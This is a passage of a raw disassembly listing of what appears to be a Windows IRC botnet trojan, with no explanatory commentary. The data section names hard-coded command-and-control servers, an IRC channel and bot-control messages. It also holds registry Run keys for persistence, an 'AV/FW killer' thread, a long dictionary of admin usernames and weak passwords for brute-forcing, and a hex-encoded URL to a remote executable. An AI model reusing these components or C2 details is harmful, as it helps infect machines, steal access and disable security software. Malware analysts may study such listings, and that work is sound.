aFreeenvironmen db 'FreeEnvironmentStringsA',0
db 0F7h ; ÷
align 2
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 155h
aGetenvironme_1 db 'GetEnvironmentStrings',0
dw 157h
aGetenvironme_2 db 'GetEnvironmentStringsW',0
align 4
db 24h ; $
db 3, 53h, 65h
aThandlecount db 'tHandleCount',0
align 2
dw 1B9h
aGetstdhandle db 'GetStdHandle',0
align 2
dw 166h
aGetfiletype db 'GetFileType',0
db 37h ; 7
db 3, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 4
aU_0 db 'î',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 10h
db 0BAh ; º
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 1BDh
aGetstringtypew db 'GetStringTypeW',0
align 4
db 4Ah ; J
db 3, 53h, 65h
aTunhandledexce db 'tUnhandledExceptionFilter',0
dw 233h
aIsbadreadptr db 'IsBadReadPtr',0
align 2
dw 230h
aIsbadcodeptr db 'IsBadCodePtr',0
align 2
dw 310h
aSetendoffile db 'SetEndOfFile',0
align 2
db ':',0
aComparestringa db 'CompareStringA',0
align 4
db ';',0
aComparestringw db 'CompareStringW',0
align 2
dw 313h
aSetenvironment db 'SetEnvironmentVariableA',0
aKernel32_dll_0 db 'KERNEL32.dll',0
align 2
_rdata ends
; Section 3. (virtual address 00029000)
; Virtual size : 000B4000 ( 737280.)
; Section size in file : 000B4000 ( 737280.)
; Offset to raw data for section: 00029000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 429000h
dword_429000 dd 0 ; DATA XREF: __cinit+1Fo
dd offset loc_401205
dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
dd offset sub_40D89B
dd offset sub_40E6D4
dword_429014 dd 0 ; DATA XREF: __cinit+1Ao
dword_429018 dd 0 ; DATA XREF: __cinit+10o
dd offset ___onexitinit
dd offset ___initmbctable
dd offset ___initstdio
dd offset sub_424752
dword_42902C dd 0 ; DATA XREF: __cinit:loc_41B78Fo
dword_429030 dd 0 ; DATA XREF: _doexit+65o
dd offset ___endstdio
dword_429038 dd 0 ; DATA XREF: _doexit:loc_41B833o
dword_42903C dd 0 ; DATA XREF: _doexit+76o
dd offset sub_424763
dword_429044 dd 3 dup(0) ; DATA XREF: _doexit:loc_41B844o
dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
; DATA XREF: sub_401000+7o
; char aRb[]
aRb db 'rb',0 ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
align 4
dword_42906C dd 1B58h ; DATA XREF: WinMain(x,x,x,x)+4A4r
; WinMain(x,x,x,x)+539r
dword_429070 dd 0C8Bh ; DATA XREF: WinMain(x,x,x,x)+585r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078 dd 45h ; DATA XREF: sub_401ACD+2089r
; sub_40BACE+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C44r
; sub_40BACE:loc_40BEBFr
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DD0r
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Fr
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr
dword_42908C dd 1 ; DATA XREF: WinMain(x,x,x,x)+13Dr
dword_429090 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401562r
; sub_41835A+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r
; sub_401ACD+B4Cr ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40ACB6+3Ar
; sub_40ACB6+60r ...
; int dword_42909C
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
; int dword_4290A0
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
; char aQsfposs[]
aQsfposs db 'qsfposs',0 ; DATA XREF: WinMain(x,x,x,x)+5Do
; sub_401ACD:loc_4044A1o ...
aAbosel7Vs db 'abosel7 vs',0 ; DATA XREF: sub_401ACD:loc_404946o
align 4
; char aCool[]
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDCo
; sub_401ACD+7EABo
align 10h
; char Source[]
Source db 'saber4.ircqforum.com',0 ; DATA XREF: WinMain(x,x,x,x)+490o
; WinMain(x,x,x,x)+52Ao
align 4
; char aFaak[]
aFaak db '#FAAK#',0 ; DATA XREF: WinMain(x,x,x,x)+4B0o
; WinMain(x,x,x,x)+540o ...
align 10h
; char aSaad_[]
aSaad_ db 'saad.',0 ; DATA XREF: WinMain(x,x,x,x)+4C7o
; WinMain(x,x,x,x)+552o
align 4
; char byte_4290E8
byte_4290E8 db 73h ; DATA XREF: WinMain(x,x,x,x):loc_401789r
; WinMain(x,x,x,x)+576o
aCorti1_dns2go_ db 'corti1.dns2go.com',0
align 4
; char aFaak_0[]
aFaak_0 db '#FAAK#',0 ; DATA XREF: WinMain(x,x,x,x)+58Co
align 4
; char aSaad__0[]
aSaad__0 db 'saad.',0 ; DATA XREF: WinMain(x,x,x,x)+59Eo
align 4
; char Str[]
Str db 'nvigqyvja.exe',0 ; DATA XREF: WinMain(x,x,x,x)+143o
; WinMain(x,x,x,x)+167w ...
align 4
; char aWidnt_bat[]
aWidnt_bat db 'widnt.bat',0 ; DATA XREF: sub_411C14+3Do
align 4
aWindsSerscAgts db 'Winds Sersc Agts',0 ; DATA XREF: sub_401000+Eo
align 4
asc_42913C: ; DATA XREF: .text:0040AD35o
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F27o
align 4
; char aF[]
aF db '#f',0 ; DATA XREF: sub_401ACD+1D46o
; sub_401ACD+3040o ...
align 4
; char aF_0[]
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A3o
align 4
; char aF_1[]
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C5o
; sub_401ACD+4217o
align 10h
off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FCo
; "*@admin.com"
off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
; sub_401ACD+7E4Bo
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
; sub_41A19E+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
; sub_41A19E+D4o
align 4
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch, 429910h
dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h, 4298DCh
dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h, 4298A4h
dd 4298A0h, 429898h, 429894h, 0
dd offset byte_43D808
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_1 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer_1 ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_0 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp_0 ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
align 10h
dword_4294D0 dd 10h ; DATA XREF: sub_401ACD+AFCr
; sub_401ACD+B28r ...
aIntranet db 'intranet',0 ; DATA XREF: .data:004294BCo
align 10h
aLan db 'lan',0 ; DATA XREF: .data:004294B4o
aMain db 'main',0 ; DATA XREF: .data:004294B0o
align 4
aWinpass db 'winpass',0 ; DATA XREF: .data:004294ACo
aBlank db 'blank',0 ; DATA XREF: .data:004294A8o
align 4
aOffice db 'office',0 ; DATA XREF: .data:004294A4o
align 4
aControl db 'control',0 ; DATA XREF: .data:004294A0o
aXp_0 db 'xp',0 ; DATA XREF: .data:0042949Co
align 10h
aNokia db 'nokia',0 ; DATA XREF: .data:00429498o
align 4
aHp db 'hp',0 ; DATA XREF: .data:00429494o
align 4
aSiemens db 'siemens',0 ; DATA XREF: .data:00429490o
aCompaq db 'compaq',0 ; DATA XREF: .data:0042948Co
align 4
aDell db 'dell',0 ; DATA XREF: .data:00429488o
align 4
aCisco db 'cisco',0 ; DATA XREF: .data:00429484o
align 4
aIbm db 'ibm',0 ; DATA XREF: .data:00429480o
aOrainstall db 'orainstall',0 ; DATA XREF: .data:00429478o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:00429474o
align 10h
aSql db 'sql',0 ; DATA XREF: .data:00429470o
; char aSa[]
aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFDo
; .data:0042946Co
align 4
aDb1234 db 'db1234',0 ; DATA XREF: .data:00429468o
align 10h
aDb1 db 'db1',0 ; DATA XREF: .data:00429460o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0042945Co
align 4
aData db 'data',0 ; DATA XREF: .data:00429458o
align 10h
aDatabasepass db 'databasepass',0 ; DATA XREF: .data:00429454o
align 10h
aDbpassword db 'dbpassword',0 ; DATA XREF: .data:00429450o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: .data:0042944Co
align 4
aAccess db 'access',0 ; DATA XREF: .data:00429448o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:00429440o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: .data:0042943Co
align 4
aDomain db 'domain',0 ; DATA XREF: .data:00429438o
align 10h
aHello db 'hello',0 ; DATA XREF: .data:00429434o
align 4
aHell db 'hell',0 ; DATA XREF: .data:00429430o
align 10h
aGod db 'god',0 ; DATA XREF: .data:0042942Co
aSex db 'sex',0 ; DATA XREF: .data:00429428o
; .data:off_4385E8o
aSlut db 'slut',0 ; DATA XREF: .data:00429424o
align 10h
aBitch db 'bitch',0 ; DATA XREF: .data:00429420o
align 4
aFuck db 'fuck',0 ; DATA XREF: .data:0042941Co
align 10h
aExchange db 'exchange',0 ; DATA XREF: .data:00429418o
align 4
aBackup db 'backup',0 ; DATA XREF: .data:00429414o
align 4
aTechnical db 'technical',0 ; DATA XREF: .data:00429410o
align 10h
aLoginpass db 'loginpass',0 ; DATA XREF: .data:0042940Co
align 4
; char aLogin[]
aLogin db 'login',0 ; DATA XREF: sub_401ACD+AA3o
; .data:00429408o
align 4
aMary db 'mary',0 ; DATA XREF: .data:00429404o
align 4
aKatie db 'katie',0 ; DATA XREF: .data:00429400o
align 4
aKate db 'kate',0 ; DATA XREF: .data:004293F8o
align 4
aGeorge db 'george',0 ; DATA XREF: .data:004293F4o
align 4
aEric db 'eric',0 ; DATA XREF: .data:004293F0o
align 4
aChris db 'chris',0 ; DATA XREF: .data:004293ECo
align 4
aIan db 'ian',0 ; DATA XREF: .data:004293E8o
aNeil db 'neil',0 ; DATA XREF: .data:004293E4o
align 10h
aLee db 'lee',0 ; DATA XREF: .data:004293E0o
aBrian db 'brian',0 ; DATA XREF: .data:004293DCo
align 4
aSusan db 'susan',0 ; DATA XREF: .data:004293D4o
align 4
aSue db 'sue',0 ; DATA XREF: .data:004293D0o
aSam db 'sam',0 ; DATA XREF: .data:004293CCo
aLuke db 'luke',0 ; DATA XREF: .data:004293C8o
align 4
aPeter db 'peter',0 ; DATA XREF: .data:004293C4o
; .data:004293D8o
align 4
aJohn db 'john',0 ; DATA XREF: .data:004293C0o
align 4
aMike db 'mike',0 ; DATA XREF: .data:004293BCo
align 4
aBill db 'bill',0 ; DATA XREF: .data:004293B8o
align 4
aFred db 'fred',0 ; DATA XREF: .data:004293B4o
align 4
aJoe db 'joe',0 ; DATA XREF: .data:004293B0o
aJen db 'jen',0 ; DATA XREF: .data:004293ACo
aBob db 'bob',0 ; DATA XREF: .data:004293A8o
; .data:004293FCo
aQwe db 'qwe',0 ; DATA XREF: .data:004293A4o
aZxc db 'zxc',0 ; DATA XREF: .data:004293A0o
aAsd db 'asd',0 ; DATA XREF: .data:0042939Co
aQaz db 'qaz',0 ; DATA XREF: .data:00429398o
aWin2000 db 'win2000',0 ; DATA XREF: .data:00429394o
aWinnt db 'winnt',0 ; DATA XREF: .data:00429390o
align 4
aWinxp db 'winxp',0 ; DATA XREF: .data:0042938Co
align 10h
aWin2k db 'win2k',0 ; DATA XREF: .data:00429388o
align 4
aWin98 db 'win98',0 ; DATA XREF: .data:00429384o
align 10h
aWindows db 'windows',0 ; DATA XREF: .data:00429380o
aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0042937Co
align 4
aOemuser db 'oemuser',0 ; DATA XREF: .data:00429378o
aOem db 'oem',0 ; DATA XREF: .data:00429374o
; char aUser_0[]
aUser_0 db 'user',0 ; DATA XREF: sub_401ACD+46D4o
; .data:00429370o
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .data:0042936Co
align 4
aHome db 'home',0 ; DATA XREF: .data:00429368o
align 4
aAccounting db 'accounting',0 ; DATA XREF: .data:00429364o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .data:00429360o
align 4
aInternet db 'internet',0 ; DATA XREF: .data:0042935Co
; .data:004294B8o
align 10h
aWww db 'www',0 ; DATA XREF: .data:00429358o
aWeb db 'web',0 ; DATA XREF: .data:00429354o
aOutlook db 'outlook',0 ; DATA XREF: .data:00429350o
aMail db 'mail',0 ; DATA XREF: .data:0042934Co
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .data:00429348o
align 10h
aNull_1 db 'null',0 ; DATA XREF: .data:00429344o
align 4
; char aServer_1[]
aServer_1 db 'server',0 ; DATA XREF: sub_401ACD+3E90o
; .data:0042933Co
align 10h
aSystem db 'system',0 ; DATA XREF: .data:00429338o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .data:00429330o
align 4
aLinux db 'linux',0 ; DATA XREF: .data:0042932Co
align 4
aUnix db 'unix',0 ; DATA XREF: .data:00429328o
align 4
aDemo db 'demo',0 ; DATA XREF: .data:00429324o
align 4
aNone db 'none',0 ; DATA XREF: .data:00429320o
align 4
aTest db 'test',0 ; DATA XREF: .data:00429318o
align 4
a2004 db '2004',0 ; DATA XREF: .data:00429314o
align 4
a2003 db '2003',0 ; DATA XREF: sub_41AA43+BAo
; .data:00429310o
align 4
a2002 db '2002',0 ; DATA XREF: .data:0042930Co
align 4
a2001 db '2001',0 ; DATA XREF: .data:00429308o
align 4
a2000 db '2000',0 ; DATA XREF: .data:00429304o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .data:00429300o
align 10h
a123456789 db '123456789',0 ; DATA XREF: .data:004292FCo
align 4
a12345678 db '12345678',0 ; DATA XREF: .data:004292F8o
align 4
a1234567 db '1234567',0 ; DATA XREF: .data:004292F4o
a123456 db '123456',0 ; DATA XREF: .data:004292F0o
align 4
a12345 db '12345',0 ; DATA XREF: .data:004292ECo
align 10h
a1234 db '1234',0 ; DATA XREF: .data:004292E8o
align 4
a123 db '123',0 ; DATA XREF: .data:004292E4o
a12 db '12',0 ; DATA XREF: .data:004292E0o
align 10h
a1: ; DATA XREF: .data:004292DCo
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .data:004292D8o
aPwd db 'pwd',0 ; DATA XREF: .data:004292D4o
aPass_1 db 'pass',0 ; DATA XREF: .data:004292D0o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: .data:004292CCo
align 10h
aPasswd db 'passwd',0 ; DATA XREF: .data:004292C8o
align 4
aPassword db 'password',0 ; DATA XREF: .data:004292C4o
align 4
aPassword1 db 'password1',0 ; DATA XREF: .data:004292C0o
align 10h
aAdm db 'adm',0 ; DATA XREF: .data:004292BCo
aDb2 db 'db2',0 ; DATA XREF: .data:00429464o
aOracle db 'oracle',0 ; DATA XREF: .data:0042947Co
align 10h
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: .data:00429444o
align 10h
aDefault db 'default',0 ; DATA XREF: .data:00429334o
aGuest_0 db 'guest',0 ; DATA XREF: .data:0042931Co
align 10h
aWwwadmin db 'wwwadmin',0
align 4
aTeacher db 'teacher',0 ; DATA XREF: .data:004294C4o
aStudent db 'student',0 ; DATA XREF: .data:004294C0o
aOwner db 'owner',0
align 4
aComputer db 'computer',0
align 10h
aRoot db 'root',0 ; DATA XREF: .data:00429340o
align 4
aStaff db 'staff',0 ; DATA XREF: .data:004294C8o
align 10h
aAdmin db 'admin',0 ; DATA XREF: .data:004292B8o
align 4
aAdmins db 'admins',0 ; DATA XREF: .data:004292B4o
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: .data:004292B0o
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:004292ACo
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .data:004292A8o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:004292A4o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429170o
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:0042916Co
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429168o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_429164o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: .data:off_429160o
; char asc_4299D8[]
asc_4299D8 db '-' ; DATA XREF: WinMain(x,x,x,x)+46Bo
db 3, 34h, 2
dd 6E656469h, 2036474h
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
; char asc_429A0C[]
asc_429A0C db '-' ; DATA XREF: WinMain(x,x,x,x)+420o
db 3, 34h, 2
dd 6E656469h, 2036474h
aServerRunningO db '- Server running on Port: 113.',0
align 4
; char asc_429A38[]
asc_429A38 db '-' ; DATA XREF: WinMain(x,x,x,x)+3F3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
; char asc_429A78[]
asc_429A78 db '-' ; DATA XREF: WinMain(x,x,x,x)+3A2o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
; char asc_429A9C[]
asc_429A9C db '-' ; DATA XREF: WinMain(x,x,x,x)+364o
db 3, 34h, 2
dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h
dd 0
; char aSDS[]
aSDS db '%s %d "%s"',0 ; DATA XREF: WinMain(x,x,x,x)+28Fo
align 4
; char Format[]
Format db '%s\%s',0 ; DATA XREF: WinMain(x,x,x,x)+189o
; sub_415A30+7Eo ...
align 4
; char aSS[]
aSS db '%s%s',0 ; DATA XREF: WinMain(x,x,x,x)+10Do
; sub_40F6B4+EAo ...
align 4
; char asc_429AD4[]
asc_429AD4 db '-' ; DATA XREF: sub_4017ED+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
; char aNickSUserS00S[]
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
; char aPassS[]
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
; char aModeSS_0[]
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
align 4
; char aUserhostS[]
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
align 4
unk_429B3C db 2Dh ; - ; DATA XREF: sub_401ACD+7F0Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_429B5C db 2Dh ; - ; DATA XREF: sub_401ACD+7EEDo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_429B7C db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
; char aNoticeSHostAut[]
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E63o
align 10h
unk_429BD0 db 2Dh ; - ; DATA XREF: sub_401ACD+7E25o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
; char aNoticeSYourAtt[]
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E13o
; sub_401ACD+7E7Ao
align 4
; char aNoticeSPassAut[]
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7DFCo
align 10h
; char asc_429C50[]
asc_429C50: ; DATA XREF: sub_401ACD+7DCCo
unicode 0, <~>,0
; char asc_429C54[]
asc_429C54 db '-' ; DATA XREF: sub_401ACD+7D7Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
; char asc_429C78[]
asc_429C78 db '-' ; DATA XREF: sub_401ACD+7D0Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 10h
; char asc_429CA0[]
asc_429CA0 db '-' ; DATA XREF: sub_401ACD+7CC4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+7CA2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_429CE8 db 2Dh ; - ; DATA XREF: sub_401ACD+7C82o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
unk_429D0C db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 10h
dword_429D30 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401ACD+7C3Bo
dd 2E732520h, 0
; char asc_429D4C[]
asc_429D4C db '-' ; DATA XREF: sub_401ACD:loc_409685o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
unk_429D78 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB1o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
; char asc_429D9C[]
asc_429D9C db '-' ; DATA XREF: sub_401ACD:loc_4095FDo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DC4 db 2Dh ; - ; DATA XREF: sub_401ACD+7B26o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
; char aAll[]
aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Co
unk_429DF0 db 2Dh ; - ; DATA XREF: sub_401ACD+79FFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_429E18 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B3o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E3C db 2Dh ; - ; DATA XREF: sub_401ACD+79DCo
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_429E5C db 2Dh ; - ; DATA XREF: sub_401ACD+79B8o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
